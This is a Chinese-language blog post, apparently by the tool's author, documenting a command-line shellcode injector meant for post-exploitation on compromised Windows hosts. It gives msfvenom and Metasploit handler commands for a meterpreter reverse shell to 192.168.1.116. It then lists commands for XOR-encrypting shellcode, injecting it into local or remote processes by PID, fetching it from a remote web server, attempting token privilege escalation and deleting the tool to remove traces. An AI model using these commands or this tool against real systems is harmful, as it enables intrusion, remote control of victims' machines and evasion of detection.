前段時間,本人實現過一款遠程ShellCode注入器,但由於實現的比較倉促所以在參數解析上只是簡單的傳遞非常的難以記憶和使用,今天借着有時間我將程序的參數進行了規范化,以及分類,不同的分類功能放在不同的位置,使用起來能更加清晰。
該工具主要用於后滲透使用,當我們拿到目標主機的權限時,可以直接將該工具傳輸到對端並在命令行下執行注入命令,如果是服務器那么多半常年不關機,這樣使用進程注入功能將Metasploit生成的代碼直接注入到進程中,是很方便的。
目前只支持32位ShellCode注入32位系統或用戶進程中,64位暫時未經過測試,推薦32位版,並使用以下配置生成ShellCode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=9999 -f c
后端載荷推薦使用以下配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.116
set lport 9999
工具的具體參數解析如下:
Show 輸出系統可注入進程: 該命令可以列舉出目前系統中支持注入的進程,在原版本中存在Bug,這個版本中修復了,目前只顯示可以注入的進程。
Promote 嘗試使用令牌提權: 該命令可以嘗試提升自身權限,不過多半提權會是失敗的,但也可以試試。
Delself 清除自身痕跡: 當我們完成遠程注入后,記得將自身在系統中刪除,此時的ShellCode直接在目標進程中安家了,不需要注入器了。
Format 格式化為一行: 將Metasploit生成的ShellCode保存為文件,然后使用該命令直接將其格式化為一行。
在保存ShellCode的時候,請不要保存頭部的定義部分,只保存以下代碼即可。
執行命令,指定路徑,即可將這段shellcode壓縮為一行。
sc.exe Format --path d://shellcode.txt
FormatFile 格式化並寫出: 這個格式化函數作用與上方相同,只不過可以直接寫出到文件中,在你只有一個cmd權限時,可以使用。
sc.exe FormatFile --path d://shellcode.txt --output d://format.txt
Xor 加密/解密字符串: 如上我們可以將shellcode壓縮為一行,然后可以調用xor命令,對這段shellcode進行加密處理。
sc.exe Xor --path d://format.txt --passwd lyshark
Xchg 壓縮字符串轉字節數組: 將一段已經壓縮過的shellcode代碼轉換為字節數組格式,這個格式可以直接使用。
sc.exe Xchg --input d://format.txt --output d://array.txt
XorArray 異或加密/解密字節數組: 將字節數組整體加密或解密為字節數組,無需在程序代碼中轉換,使用更方便。
sc.exe XorArray --path d://array.txt --passwd lyshark
InjectSelfShell 自身注入反彈: 將一段壓縮過的shellcode注入到自身進程並反彈。
sc.exe InjectSelfShell --shellcode fce88f0000006031d2648b52308b520c***
InjectArrayByte 注入字節數組到自身進程: 由於字節數組無法直接命令行方式傳遞,所以只能在文件中獲取並壓縮解碼反彈。
sc.exe InjectArrayByte --path d://shellcode.txt
FileInjectShell 從文件中讀入並注入: 從文件中讀入一段已經壓縮過的shellcode並執行反彈。
sc.exe FileInjectShell --path d://format.txt
InjectProcShell 注入字符串到遠程進程: 該功能主要用於將代碼注入到遠程進程中,此處參數已經規范化。
首先使用show命令尋找一個支持注入的進程,此處我們以遠程桌面程序為例。
注入時,攜帶PID與shellcode代碼即可。
sc.exe InjectProcShell --pid 17948 --shellcode fce88f0000006031d2648b52308b520c89e****
InjectWebShell 從遠程加載注入: 從遠程Web服務器上獲取到需要注入的代碼,然后進行注入。
web服務器可以使用shellcode遠程加載器中的web服務器模塊,如下我啟動服務器后,訪問到的shellcode代碼。
Server.exe RunServer --type http --listen 80
Web服務器也可以使用Apache等中間件,都可以,打開后確保web頁面能別訪問到。
隨后使用注入器,將在遠程加載shellcode並注入運行。
sc.exe InjectWebShell --address 127.0.0.1 --payload shellcode.raw
EncodeInFile 直接運行加密后的shellcode: 加密模塊可以直接運行被加密過后的shellcode並反彈,注入時需要傳遞解碼密碼。
sc.exe EncodeInFile --path d://encode.txt --passwd lyshark
EncodePidInFile 加密注入遠程進程反彈: 直接注入加密后的代碼到遠程進程中,實現方式如上。
sc.exe EncodePidInFile --pid 17480 --path d://encode.txt --passwd lyshark
好了,暫時就這些功能,足夠使用了。